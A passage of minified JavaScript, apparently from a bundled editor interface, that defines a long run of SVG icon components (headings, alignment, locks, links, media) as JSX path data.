0 1.7-.4 2.4-1.2.1.3.2.5.4.7.1.2.3.3.6.4.3.1.6.1 1.1.1h.1l.2-1.2h-.1c-.4.1-.6 0-.7-.1zM9.2 16c-.2.3-.5.6-.9.8-.3.1-.7.2-1.1.2-.4 0-.7-.1-.9-.3-.2-.2-.3-.5-.3-.9 0-.6.2-1 .7-1.3.5-.3 1.3-.4 2.5-.5v2zm10.6-3.9c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2s-.2 1.4-.6 2z&quot;})});var lx=l(q(),1),TA=l(w(),1),IA=(0,TA.jsx)(lx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,TA.jsx)(lx.Path,{d:&quot;M9.1 9v-.5c0-.6.2-1.1.7-1.4.5-.3 1.2-.5 2-.5.7 0 1.4.1 2.1.3.7.2 1.4.5 2.1.9l.2-1.9c-.6-.3-1.2-.5-1.9-.7-.8-.1-1.6-.2-2.4-.2-1.5 0-2.7.3-3.6 1-.8.7-1.2 1.5-1.2 2.6V9h2zM20 12H4v1h8.3c.3.1.6.2.8.3.5.2.9.5 1.1.8.3.3.4.7.4 1.2 0 .7-.2 1.1-.8 1.5-.5.3-1.2.5-2.1.5-.8 0-1.6-.1-2.4-.3-.8-.2-1.5-.5-2.2-.8L7 18.1c.5.2 1.2.4 2 .6.8.2 1.6.3 2.4.3 1.7 0 3-.3 3.9-1 .9-.7 1.3-1.6 1.3-2.8 0-.9-.2-1.7-.7-2.2H20v-1z&quot;})});var cx=l(q(),1),PA=l(w(),1),RA=(0,PA.jsx)(cx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,PA.jsx)(cx.Path,{d:&quot;M7 18v1h10v-1H7zm5-2c1.5 0 2.6-.4 3.4-1.2.8-.8 1.1-2 1.1-3.5V5H15v5.8c0 1.2-.2 2.1-.6 2.8-.4.7-1.2 1-2.4 1s-2-.3-2.4-1c-.4-.7-.6-1.6-.6-2.8V5H7.5v6.2c0 1.5.4 2.7 1.1 3.5.8.9 1.9 1.3 3.4 1.3z&quot;})});var ux=l(q(),1),OA=l(w(),1),AA=(0,OA.jsx)(ux.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,OA.jsx)(ux.Path,{d:&quot;M6.1 6.8L2.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H6.1zm-.8 6.8L7 8.9l1.7 4.7H5.3zm15.1-.7c-.4-.5-.9-.8-1.6-1 .4-.2.7-.5.8-.9.2-.4.3-.9.3-1.4 0-.9-.3-1.6-.8-2-.6-.5-1.3-.7-2.4-.7h-3.5V18h4.2c1.1 0 2-.3 2.6-.8.6-.6 1-1.4 1-2.4-.1-.8-.3-1.4-.6-1.9zm-5.7-4.7h1.8c.6 0 1.1.1 1.4.4.3.2.5.7.5 1.3 0 .6-.2 1.1-.5 1.3-.3.2-.8.4-1.4.4h-1.8V8.2zm4 8c-.4.3-.9.5-1.5.5h-2.6v-3.8h2.6c1.4 0 2 .6 2 1.9.1.6-.1 1-.5 1.4z&quot;})});var dx=l(q(),1),LA=l(w(),1),NA=(0,LA.jsx)(dx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,LA.jsx)(dx.Path,{d:&quot;M12.75 19.45 15 17.5l1 1.1-4 3.4-4-3.4 1-1.1 2.25 1.95V14.5h1.5v4.95ZM19 12.75H5v-1.5h14v1.5ZM16 5.4l-1 1.1-2.25-1.95V9.5h-1.5V4.55L9 6.5 8 5.4 12 2l4 3.4Z&quot;})});var fx=l(q(),1),MA=l(w(),1),mx=(0,MA.jsx)(fx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,MA.jsx)(fx.Path,{d:&quot;M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z&quot;})});var px=l(q(),1),DA=l(w(),1),ov=(0,DA.jsx)(px.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,DA.jsx)(px.Path,{d:&quot;M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8Zm6.5 8c0 .6 0 1.2-.2 1.8h-2.7c0-.6.2-1.1.2-1.8s0-1.2-.2-1.8h2.7c.2.6.2 1.1.2 1.8Zm-.9-3.2h-2.4c-.3-.9-.7-1.8-1.1-2.4-.1-.2-.2-.4-.3-.5 1.6.5 3 1.6 3.8 3ZM12.8 17c-.3.5-.6 1-.8 1.3-.2-.3-.5-.8-.8-1.3-.3-.5-.6-1.1-.8-1.7h3.3c-.2.6-.5 1.2-.8 1.7Zm-2.9-3.2c-.1-.6-.2-1.1-.2-1.8s0-1.2.2-1.8H14c.1.6.2 1.1.2 1.8s0 1.2-.2 1.8H9.9ZM11.2 7c.3-.5.6-1 .8-1.3.2.3.5.8.8 1.3.3.5.6 1.1.8 1.7h-3.3c.2-.6.5-1.2.8-1.7Zm-1-1.2c-.1.2-.2.3-.3.5-.4.7-.8 1.5-1.1 2.4H6.4c.8-1.4 2.2-2.5 3.8-3Zm-1.8 8H5.7c-.2-.6-.2-1.1-.2-1.8s0-1.2.2-1.8h2.7c0 .6-.2 1.1-.2 1.8s0 1.2.2 1.8Zm-2 1.4h2.4c.3.9.7 1.8 1.1 2.4.1.2.2.4.3.5-1.6-.5-3-1.6-3.8-3Zm7.4 3c.1-.2.2-.3.3-.5.4-.7.8-1.5 1.1-2.4h2.4c-.8 1.4-2.2 2.5-3.8 3Z&quot;})});var hx=l(q(),1),VA=l(w(),1),rv=(0,VA.jsx)(hx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,VA.jsx)(hx.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;m3 5c0-1.10457.89543-2 2-2h13.5c1.1046 0 2 .89543 2 2v13.5c0 1.1046-.8954 2-2 2h-13.5c-1.10457 0-2-.8954-2-2zm2-.5h6v6.5h-6.5v-6c0-.27614.22386-.5.5-.5zm-.5 8v6c0 .2761.22386.5.5.5h6v-6.5zm8 0v6.5h6c.2761 0 .5-.2239.5-.5v-6zm0-8v6.5h6.5v-6c0-.27614-.2239-.5-.5-.5z&quot;})});var gx=l(q(),1),FA=l(w(),1),nv=(0,FA.jsx)(gx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,FA.jsx)(gx.Path,{d:&quot;M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z&quot;})});var bx=l(q(),1),zA=l(w(),1),jA=(0,zA.jsx)(bx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,zA.jsx)(bx.Path,{d:&quot;M17.6 7c-.6.9-1.5 1.7-2.6 2v1h2v7h2V7h-1.4zM11 11H7V7H5v10h2v-4h4v4h2V7h-2v4z&quot;})});var kx=l(q(),1),UA=l(w(),1),HA=(0,UA.jsx)(kx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,UA.jsx)(kx.Path,{d:&quot;M9 11.1H5v-4H3v10h2v-4h4v4h2v-10H9v4zm8 4c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6v1.5h8v-2H17z&quot;})});var vx=l(q(),1),GA=l(w(),1),WA=(0,GA.jsx)(vx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,GA.jsx)(vx.Path,{d:&quot;M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.3 1.7c-.4-.4-1-.7-1.6-.8v-.1c.6-.2 1.1-.5 1.5-.9.3-.4.5-.8.5-1.3 0-.4-.1-.8-.3-1.1-.2-.3-.5-.6-.8-.8-.4-.2-.8-.4-1.2-.5-.6-.1-1.1-.2-1.6-.2-.6 0-1.3.1-1.8.3s-1.1.5-1.6.9l1.2 1.4c.4-.2.7-.4 1.1-.6.3-.2.7-.3 1.1-.3.4 0 .8.1 1.1.3.3.2.4.5.4.8 0 .4-.2.7-.6.9-.7.3-1.5.5-2.2.4v1.6c.5 0 1 0 1.5.1.3.1.7.2 1 .3.2.1.4.2.5.4s.1.4.1.6c0 .3-.2.7-.5.8-.4.2-.9.3-1.4.3s-1-.1-1.4-.3c-.4-.2-.8-.4-1.2-.7L13 15.6c.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.6 0 1.1-.1 1.6-.2.4-.1.9-.2 1.3-.5.4-.2.7-.5.9-.9.2-.4.3-.8.3-1.2 0-.6-.3-1.1-.7-1.5z&quot;})});var yx=l(q(),1),$A=l(w(),1),KA=(0,$A.jsx)(yx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,$A.jsx)(yx.Path,{d:&quot;M20 13V7h-3l-4 6v2h5v2h2v-2h1v-2h-1zm-2 0h-2.8L18 9v4zm-9-2H5V7H3v10h2v-4h4v4h2V7H9v4z&quot;})});var Sx=l(q(),1),YA=l(w(),1),qA=(0,YA.jsx)(Sx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,YA.jsx)(Sx.Path,{d:&quot;M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.7 1.2c-.2-.3-.5-.7-.8-.9-.3-.3-.7-.5-1.1-.6-.5-.1-.9-.2-1.4-.2-.2 0-.5.1-.7.1-.2.1-.5.1-.7.2l.1-1.9h4.3V7H14l-.3 5 1 .6.5-.2.4-.1c.1-.1.3-.1.4-.1h.5c.5 0 1 .1 1.4.4.4.2.6.7.6 1.1 0 .4-.2.8-.6 1.1-.4.3-.9.4-1.4.4-.4 0-.9-.1-1.3-.3-.4-.2-.7-.4-1.1-.7 0 0-1.1 1.4-1 1.5.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.5 0 1-.1 1.5-.3s.9-.4 1.3-.7c.4-.3.7-.7.9-1.1s.3-.9.3-1.4-.1-1-.3-1.4z&quot;})});var _x=l(q(),1),ZA=l(w(),1),XA=(0,ZA.jsx)(_x.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,ZA.jsx)(_x.Path,{d:&quot;M20.7 12.4c-.2-.3-.4-.6-.7-.9s-.6-.5-1-.6c-.4-.2-.8-.2-1.2-.2-.5 0-.9.1-1.3.3s-.8.5-1.2.8c0-.5 0-.9.2-1.4l.6-.9c.2-.2.5-.4.8-.5.6-.2 1.3-.2 1.9 0 .3.1.6.3.8.5 0 0 1.3-1.3 1.3-1.4-.4-.3-.9-.6-1.4-.8-.6-.2-1.3-.3-2-.3-.6 0-1.1.1-1.7.4-.5.2-1 .5-1.4.9-.4.4-.8 1-1 1.6-.3.7-.4 1.5-.4 2.3s.1 1.5.3 2.1c.2.6.6 1.1 1 1.5.4.4.9.7 1.4.9 1 .3 2 .3 3 0 .4-.1.8-.3 1.2-.6.3-.3.6-.6.8-1 .2-.5.3-.9.3-1.4s-.1-.9-.3-1.3zm-2 2.1c-.1.2-.3.4-.4.5-.1.1-.3.2-.5.2-.2.1-.4.1-.6.1-.2.1-.5 0-.7-.1-.2 0-.3-.2-.5-.3-.1-.2-.3-.4-.4-.6-.2-.3-.3-.7-.3-1 .3-.3.6-.5 1-.7.3-.1.7-.2 1-.2.4 0 .8.1 1.1.3.3.3.4.7.4 1.1 0 .2 0 .5-.1.7zM9 11H5V7H3v10h2v-4h4v4h2V7H9v4z&quot;})});var xx=l(q(),1),QA=l(w(),1),JA=(0,QA.jsx)(xx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,QA.jsx)(xx.Path,{d:&quot;M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z&quot;})});var wx=l(q(),1),eL=l(w(),1),iv=(0,eL.jsx)(wx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,eL.jsx)(wx.Path,{d:&quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z&quot;})});var Cx=l(q(),1),tL=l(w(),1),oL=(0,tL.jsx)(Cx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,tL.jsx)(Cx.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z&quot;})});var Bx=l(q(),1),rL=l(w(),1),nL=(0,rL.jsx)(Bx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,rL.jsx)(Bx.Path,{d:&quot;M15 4H9v11h6V4zM4 18.5V20h16v-1.5H4z&quot;})});var Ex=l(q(),1),iL=l(w(),1),sL=(0,iL.jsx)(Ex.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,iL.jsx)(Ex.Path,{d:&quot;M20 11h-5V4H9v7H4v1.5h5V20h6v-7.5h5z&quot;})});var Tx=l(q(),1),aL=l(w(),1),ou=(0,aL.jsx)(Tx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,aL.jsx)(Tx.Path,{d:&quot;M12.5 15v5H11v-5H4V9h7V4h1.5v5h7v6h-7Z&quot;})});var Ix=l(q(),1),lL=l(w(),1),ru=(0,lL.jsx)(Ix.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,lL.jsx)(Ix.Path,{d:&quot;M9 9v6h11V9H9zM4 20h1.5V4H4v16z&quot;})});var Px=l(q(),1),cL=l(w(),1),nu=(0,cL.jsx)(Px.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,cL.jsx)(Px.Path,{d:&quot;M4 15h11V9H4v6zM18.5 4v16H20V4h-1.5z&quot;})});var Rx=l(q(),1),uL=l(w(),1),dL=(0,uL.jsx)(Rx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,uL.jsx)(Rx.Path,{d:&quot;M7 4H17V8L7 8V4ZM7 16L17 16V20L7 20V16ZM20 11.25H4V12.75H20V11.25Z&quot;})});var Ox=l(q(),1),fL=l(w(),1),Fp=(0,fL.jsx)(Ox.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,fL.jsx)(Ox.Path,{d:&quot;M9 15h6V9H9v6zm-5 5h1.5V4H4v16zM18.5 4v16H20V4h-1.5z&quot;})});var Ax=l(q(),1),mL=l(w(),1),pL=(0,mL.jsx)(Ax.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,mL.jsx)(Ax.Path,{d:&quot;M4 4L20 4L20 5.5L4 5.5L4 4ZM10 7L14 7L14 17L10 17L10 7ZM20 18.5L4 18.5L4 20L20 20L20 18.5Z&quot;})});var Lx=l(q(),1),hL=l(w(),1),zp=(0,hL.jsx)(Lx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,hL.jsx)(Lx.Path,{d:&quot;M4 4H5.5V20H4V4ZM7 10L17 10V14L7 14V10ZM20 4H18.5V20H20V4Z&quot;})});var Nx=l(q(),1),gL=l(w(),1),bL=(0,gL.jsx)(Nx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,gL.jsx)(Nx.Path,{d:&quot;M9 20h6V9H9v11zM4 4v1.5h16V4H4z&quot;})});var Mx=l(q(),1),kL=l(w(),1),bl=(0,kL.jsx)(Mx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,kL.jsx)(Mx.Path,{d:&quot;m6.734 16.106 2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.158 1.093-1.028-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734Z&quot;})});var Dx=l(q(),1),vL=l(w(),1),yL=(0,vL.jsx)(Dx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,vL.jsx)(Dx.Path,{d:&quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})});var Vx=l(q(),1),SL=l(w(),1),Ci=(0,SL.jsx)(Vx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,SL.jsx)(Vx.Path,{d:&quot;M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z&quot;})});var Fx=l(q(),1),_L=l(w(),1),fn=(0,_L.jsx)(Fx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,_L.jsx)(Fx.Path,{d:&quot;M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z&quot;})});var zx=l(q(),1),xL=l(w(),1),sv=(0,xL.jsx)(zx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,xL.jsx)(zx.Path,{d:&quot;M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z&quot;})});var jx=l(q(),1),wL=l(w(),1),CL=(0,wL.jsx)(jx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,wL.jsx)(jx.Path,{d:&quot;M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zM9.8 7c0-1.2 1-2.2 2.2-2.2 1.2 0 2.2 1 2.2 2.2v3H9.8V7zm6.7 11.5h-9v-7h9v7z&quot;})});var Ux=l(q(),1),BL=l(w(),1),EL=(0,BL.jsx)(Ux.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,BL.jsx)(Ux.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z&quot;})});var Hx=l(q(),1),TL=l(w(),1),Rf=(0,TL.jsx)(Hx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,TL.jsx)(Hx.Path,{d:&quot;M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zm-2.8 0H9.8V7c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3z&quot;})});var av=l(q(),1),lv=l(w(),1),jp=(0,lv.jsxs)(av.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,lv.jsx)(av.Path,{d:&quot;m7 6.5 4 2.5-4 2.5z&quot;}),(0,lv.jsx)(av.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z&quot;})]});var Gx=l(q(),1),IL=l(w(),1),cv=(0,IL.jsx)(Gx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,IL.jsx)(Gx.Path,{d:&quot;M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z&quot;})});var Wx=l(q(),1),PL=l(w(),1),ks=(0,PL.jsx)(Wx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,PL.jsx)(Wx.Path,{d:&quot;M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z&quot;})});var uv=l(q(),1),dv=l(w(),1),kl=(0,dv.jsxs)(uv.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,dv.jsx)(uv.Path,{d:&quot;M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z&quot;}),(0,dv.jsx)(uv.Path,{d:&quot;M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z&quot;})]});var $x=l(q(),1),RL=l(w(),1),OL=(0,RL.jsx)($x.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,RL.jsx)($x.Path,{d:&quot;m9.99609 14v-.2251l.00391.0001v6.225h1.5v-14.5h2.5v14.5h1.5v-14.5h3v-1.5h-8.50391c-2.76142 0-5 2.23858-5 5 0 2.7614 2.23858 5 5 5z&quot;})});var Kx=l(q(),1),AL=l(w(),1),Of=(0,AL.jsx)(Kx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,AL.jsx)(Kx.Path,{d:&quot;m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z&quot;})});var Yx=l(q(),1),LL=l(w(),1),NL=(0,LL.jsx)(Yx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,LL.jsx)(Yx.Path,{d:&quot;M10.97 10.159a3.382 3.382 0 0 0-2.857.955l1.724 1.723-2.836 2.913L7 17h1.25l2.913-2.837 1.723 1.723a3.38 3.38 0 0 0 .606-.825c.33-.63.446-1.343.35-2.032L17 10.695 13.305 7l-2.334 3.159Z&quot;})});var qx=l(q(),1),ML=l(w(),1),Bi=(0,ML.jsx)(qx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,ML.jsx)(qx.Path,{d:&quot;M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z&quot;})});var Zx=l(q(),1),DL=l(w(),1),VL=(0,DL.jsx)(Zx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,DL.jsx)(Zx.Path,{d:&quot;M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM7 9h10v6H7V9Z&quot;})});var Xx=l(q(),1),FL=l(w(),1),zL=(0,FL.jsx)(Xx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,FL.jsx)(Xx.Path,{d:&quot;M5 5.5h8V4H5v1.5ZM5 20h8v-1.5H5V20ZM19 9H5v6h14V9Z&quot;})});var Qx=l(q(),1),jL=l(w(),1),UL=(0,jL.jsx)(Qx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,jL.jsx)(Qx.Path,{d:&quot;M19 5.5h-8V4h8v1.5ZM19 20h-8v-1.5h8V20ZM5 9h14v6H5V9Z&quot;})});var Jx=l(q(),1),HL=l(w(),1),GL=(0,HL.jsx)(Jx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,HL.jsx)(Jx.Path,{d:&quot;M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 